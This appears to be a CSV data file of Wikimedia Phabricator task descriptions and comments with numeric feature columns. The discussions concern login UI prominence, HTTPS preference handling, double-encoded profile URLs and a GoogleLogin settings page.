+wg_enwiki",,,1378656062,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+1279,Fix non-CentralAuth https preference handling,"Bugzilla bugs 71716, 61048, or maybe all of the larger issues unaddressed from https://www.mediawiki.org/wiki/Requests_for_comment/Login_security",Medium,50.0,1415993858,1418075440.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-bxb74zmehnnjb5k5ydzj,task_description,resolved,True,c3,1,True,False,True,-33,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+5638,Fix non-CentralAuth https preference handling,And bug 70145,,,1416001997,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bxb74zmehnnjb5k5ydzj,task_subcomment,,True,c3,1,True,,,-33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+963,Make the phabricator OAuth login UI more prominent,"Wikimedia Phabricator allows users to log in using Wikimedia SUL (MediaWiki OAuth plugin, good for 99,9% of Wikimedia users) and Wikitech/Labs/Gerrit (LDAP login, good for 0.1% of Wikimedia users, and a good backup just in case OAuth is down).
+
+By default, Phabricator will feature a full-fledged LDAP form first, adding the MediaWiki button underneath. This is confusing users, who enter their Wikimedia credentials in the LDAP form. They have no clue what LDAP is, and they simply see the familiar shape of a login form.
+
+This problem would be solved if we find a way to hide that form behind a text link. Such link doesn't even need to be prominent, it can be placed in the text description (preferred) or be just a floating text label. This would give to the MediaWiki button the prominence it requires, even hesitant users would click it due to the lack of apparent choices, and most of the login problems would be gone.
+
+@mmodell, whenever you have time, could you post an initial assessment of the realistic options here, please? I'm happy to submit requests upstream if needed, although I'm not sure what would be upstreameable  here. Having LDAP login behind a button is a possibility too, if this would be indeed something that upstream would be happier to integrate.",Medium,50.0,1414569887,1513990106.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-cava27aj2n4a5vly6aui,task_description,resolved,True,c3,1,True,False,False,-36,True,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,0
+951403,Make the phabricator OAuth login UI more prominent,So I finally got around to dealing with this (D831)... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.,,,1508534419,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,120,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+951402,Make the phabricator OAuth login UI more prominent,So I finally got around to dealing with this... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.,,,1508534350,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,120,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+549621,Make the phabricator OAuth login UI more prominent,"@Dreamyshade: Thank you a lot for your comment! It made me realize that our login page has regressed. :( 
+I filed {T116142} about that.",,,1445418211,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0
+549595,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!
+
+Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few more words to communicate that this widget means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part - and it doesn't have to be that wordy.)
+
+I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445413430,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+549593,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!
+
+Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few more words to communicate that this widget means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)
+
+I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445413215,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+549592,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!
+
+Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few words to communicate that this means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)
+
+I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445413198,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+549584,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!
+
+Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest making it less terse, adding a few words to communicate that this means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)
+
+I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445412213,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+527995,Make the phabricator OAuth login UI more prominent,Big button on top of LDAP form would be basically equivalent to closing this task as Resolved. No need to hide the form when the big sunflower button takes the primary spot so prominently.,,,1442353872,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+527786,Make the phabricator OAuth login UI more prominent,">>! In T963#1642068, @mmodell wrote:
+> Would it help if the login button was above the ldap form?
+
+Yes, that would help too.",,,1442338762,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+527740,Make the phabricator OAuth login UI more prominent,Would it help if the login button was above the ldap form?,,,1442336893,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+527410,Make the phabricator OAuth login UI more prominent,"This looks like a good improvement indeed: {F2547122} 
+
+Sadly, I cannot help with the code review of that patch.",,,1442303225,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+521727,Make the phabricator OAuth login UI more prominent,"Change 236408 had a related patch set uploaded (by Nemo bis):
+[POC] Make MediaWiki OAuth login button more functional by enlargening
+
+[[https://gerrit.wikimedia.org/r/236408]]
+",,,1441532721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1
+391890,Make the phabricator OAuth login UI more prominent,"> Lowering priority. The reasoning is the same as in T545#824391.
+
+Ok but I don't see what ""needs discussion"" here.",,,1419183789,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0
+337381,Make the phabricator OAuth login UI more prominent,Lowering priority. The reasoning is the same as in T545#824391.,,,1418027982,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+334391,Make the phabricator OAuth login UI more prominent,You may find https://secure.phabricator.com/book/phabcontrib/article/adding_new_css_and_js/ helpful (link courtesy of @Qgil from another task).,,,1417228482,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0
+334320,Make the phabricator OAuth login UI more prominent,Sounds good to me.,,,1417201767,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+334311,Make the phabricator OAuth login UI more prominent,"(Obviously as a quick local hack, not for upstream.)",,,1417199974,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+334310,Make the phabricator OAuth login UI more prominent,"What about adding some JS to hide it behind a 'I have a wikitech.wikimedia.org account, log in via LDAP' link?",,,1417199935,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-31,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+547,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,">>! In T541#8313, @liangent wrote:
+> Note that current links appear double percent-encoded so they're broken for user names containing non-""basic"" characters. See https://phabricator.wikimedia.org/p/Fan/ as an example.
+
+The link displayed is https://www.mediawiki.org/w/index.php?title=User%3A%25E8%258C%2583 , which produces a [[ https://www.mediawiki.org/w/index.php?title=User%3A%25E8%258C%2583 | ""Bad title"" page in mediawiki.org ]]. 
+
+The correct URL would be https://www.mediawiki.org/wiki/User:%E8%8C%83",Medium,50.0,1412585262,1412628733.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-5rgw2a63nlus3bny2xmf,task_description,resolved,True,c3,1,True,False,True,-39,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+3067,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"This is ""Closed,Resolved"" but it happened to me when I linked accounts; I filed T574 before spotting this bug.",,,1412734228,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0
+3025,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,">>! In T547#8678, @bd808 wrote:
+> This double encoding issue seems to also effect the links to OAuth accounts on https://phabricator.wikimedia.org/settings/panel/external/
+
+It appears URLs are stored in some double encoded form in Phab. We should make stored URLs correct, not just fix (=urldecode) them on display.",,,1412656847,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,False,,,-39,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,1
+3021,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,This double encoding issue seems to also effect the links to OAuth accounts on https://phabricator.wikimedia.org/settings/panel/external/,,,1412639474,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+3010,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"works.
+
+https://phabricator.wikimedia.org/p/csteipp/",,,1412628733,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+2995,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"@aklapper: it actually required more calls to urldecode not less ;)
+
+@everyone: review please...",,,1412621368,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0
+2998,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters," #patch-for-review
+Fixed in https://gerrit.wikimedia.org/r/#/c/165031/",,,1412623776,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+2993,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,Fixed in https://gerrit.wikimedia.org/r/#/c/165031/,,,1412620980,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+2964,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,I guess that's due to urldecode($name) in https://git.wikimedia.org/blob/phabricator%2Fextensions.git/HEAD/MediaWikiUserpageCustomField.php#L39 ?,,,1412595945,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+2963,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"It's not just non-Latin, the link on https://phabricator.wikimedia.org/p/mmodell/ is broken too...",,,1412589600,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+2961,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"@mmodell, do you think it is feasible to fix this before Day 1?
+
+If we got a real user hitting this problem even before announcing that Phabricator registration is open, there is a chance that we will get more cases before and right after Day 1.",,,1412585385,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,1,1,0,0
+325,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"The GoogleID connected with the user is a setting, so maybe move it to preferences.",Medium,50.0,1406659027,1410486263.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-fewblimmbhpyks27bydq,task_description,resolved,True,c3,1,True,False,True,-49,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+2254,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,//importing issue status//,,,1410486262,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-fewblimmbhpyks27bydq,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+2253,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"**Florian** wrote on `2014-08-17 19:15:37 (UTC)`
+
+Resolved in: https://gerrit.wikimedia.org/r/#/c/152988/",,,1410486262,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-fewblimmbhpyks27bydq,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+296,Use the MediaWiki logo for the login button,"{F15728}
+
+not the openid logo :)",Medium,50.0,1405713550,1410486168.0,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_description,declined,True,c3,1,True,False,True,-50,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
